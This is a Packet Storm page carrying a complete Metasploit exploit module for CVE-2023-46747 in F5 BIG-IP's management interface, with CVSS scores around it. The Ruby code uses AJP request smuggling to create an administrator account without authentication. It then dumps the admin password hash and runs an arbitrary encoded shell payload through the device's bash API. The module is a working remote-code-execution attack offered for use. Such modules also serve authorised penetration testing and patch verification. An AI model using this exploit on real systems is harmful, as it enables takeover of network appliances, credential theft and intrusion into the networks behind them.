Lucene search

K
packetstormSpencer McIntyre, Sandeep Singh, Thomas Hendrickson, Michael Weber, metasploit.comPACKETSTORM:175673
HistoryNov 14, 2023 - 12:00 a.m.

F5 BIG-IP TMUI AJP Smuggling Remote Command Execution

2023-11-1400:00:00
Spencer McIntyre, Sandeep Singh, Thomas Hendrickson, Michael Weber, metasploit.com
packetstormsecurity.com
258
f5 big-ip
tmui
ajp smuggling
remote command execution
cve-2023-46747
request smuggling
unix
linux
user creation
admin user
metasploit module

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.97 High

EPSS

Percentile

99.7%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/proto/apache_j_p'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Retry  
  
ApacheJP = Rex::Proto::ApacheJP  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',  
'Description' => %q{  
This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,  
unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new  
account to execute a command payload. Both the exploit and check methods automatically delete any temporary  
accounts that are created.  
},  
'Author' => [  
'Michael Weber', # vulnerability analysis  
'Thomas Hendrickson', # vulnerability analysis  
'Sandeep Singh', # nuclei template  
'Spencer McIntyre' # metasploit module  
],  
'References' => [  
['CVE', '2023-46747'],  
['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],  
['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],  
['URL', 'https://my.f5.com/manage/s/article/K000137353'],  
['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],  
['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']  
],  
'DisclosureDate' => '2023-10-26', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD],  
'Privileged' => true,  
'Targets' => [  
[  
'Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD  
}  
],  
],  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => 443,  
'FETCH_WRITABLE_DIR' => '/tmp'  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [  
IOC_IN_LOGS, # user creation events are logged  
CONFIG_CHANGES # a temporary user is created then deleted  
]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = create_user(role: 'Guest')  
return CheckCode::Unknown('No response received from target.') unless res  
return CheckCode::Safe('Failed to create the user.') unless res.code == 200  
  
changed = update_user_password  
return CheckCode::Safe('Failed to set the new user\'s password.') unless changed  
  
res = bigip_api_tm_get_user(username)  
return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'  
  
CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')  
end  
  
def exploit  
res = create_user(role: 'Administrator')  
fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200  
  
changed = update_user_password  
fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed  
  
print_good("Admin user was created successfully. Credentials: #{username} - #{password}")  
  
res = bigip_api_tm_get_user('admin')  
if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?  
print_good("Retrieved the admin hash: #{hash}")  
report_hash('admin', hash)  
end  
  
logged_in = retry_until_truthy(timeout: 30) do  
res = bigip_api_shared_login  
res&.code == 200  
end  
fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in  
  
token = res.get_json_document.dig('token', 'token')  
fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?  
  
print_status("Obtained login token: #{token}")  
  
bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"  
# this may or may not timeout  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),  
'headers' => {  
'Content-Type' => 'application/json',  
'X-F5-Auth-Token' => token  
},  
'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json  
)  
end  
  
def report_hash(user, hash)  
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'F5 BIG-IP TMUI',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
credential_data = {  
module_fullname: fullname,  
origin_type: :service,  
private_data: hash,  
private_type: :nonreplayable_hash,  
jtr_format: jtr_format,  
username: user  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def cleanup  
super  
  
print_status('Deleting the created user...')  
delete_user  
end  
  
def username  
@username ||= rand_text_alpha(6..8)  
end  
  
def password  
@password ||= rand_text_alphanumeric(16..20)  
end  
  
def create_user(role:)  
# for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html  
send_request_smuggled_ajp({  
'handler' => '/tmui/system/user/create',  
'form_page' => '/tmui/system/user/create.jsp',  
'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",  
'systemuser-hidden_before' => '',  
'name' => username,  
'name_before' => '',  
'passwd' => password,  
'passwd_before' => '',  
'finished' => 'x',  
'finished_before' => ''  
})  
end  
  
def delete_user  
send_request_smuggled_ajp({  
'handler' => '/tmui/system/user/list',  
'form_page' => '/tmui/system/user/list.jsp',  
'checkbox0' => username,  
'checkbox0_before' => 'checked',  
'delete_confirm' => 'Delete',  
'delete_confirm_before' => 'Delete',  
'row_count' => '1',  
'row_count_before' => '1'  
})  
end  
  
def update_user_password  
new_password = Rex::Text.rand_text_alphanumeric(password.length)  
changed = retry_until_truthy(timeout: 30) do  
res = bigip_api_shared_set_password(username, password, new_password)  
res&.code == 200  
end  
@password = new_password if changed  
changed  
end  
  
def send_request_smuggled_ajp(query)  
post_data = "204\r\n" # do not change  
  
timenow = rand_text_numeric(1)  
tmui_dubbuf = rand_text_alpha_upper(11)  
  
query = query.merge({  
'_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),  
'_bufvalue_before' => '',  
'_timenow' => timenow,  
'_timenow_before' => ''  
})  
query_string = URI.encode_www_form(query).ljust(370, '&')  
  
# see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes  
ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(  
http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,  
req_uri: '/tmui/Control/form',  
remote_addr: '127.0.0.1',  
remote_host: 'localhost',  
server_name: 'localhost',  
headers: [  
{ header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },  
{ header_name: 'REMOTEROLE', header_value: '0' },  
{ header_name: 'host', header_value: 'localhost' }  
],  
attributes: [  
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },  
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },  
{ code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }  
]  
)  
ajp_data = ajp_forward_request.to_binary_s[2...]  
unless ajp_data.length == 0x204 # 516 bytes  
# this is a developer error  
raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."  
end  
  
post_data << ajp_data  
post_data << "\r\n0"  
  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),  
'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },  
'data' => post_data  
)  
end  
  
def bigip_api_shared_set_password(user, old_password, new_password)  
send_request_cgi(  
'method' => 'PATCH',  
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),  
'headers' => {  
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",  
'Content-Type' => 'application/json'  
},  
'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json  
)  
end  
  
def bigip_api_shared_login  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),  
'headers' => { 'Content-Type' => 'application/json' },  
'data' => { 'username' => username, 'password' => password }.to_json  
)  
end  
  
def bigip_api_tm_get_user(user)  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),  
'headers' => {  
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",  
'Content-Type' => 'application/json'  
}  
)  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.1 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.97 High

EPSS

Percentile

99.7%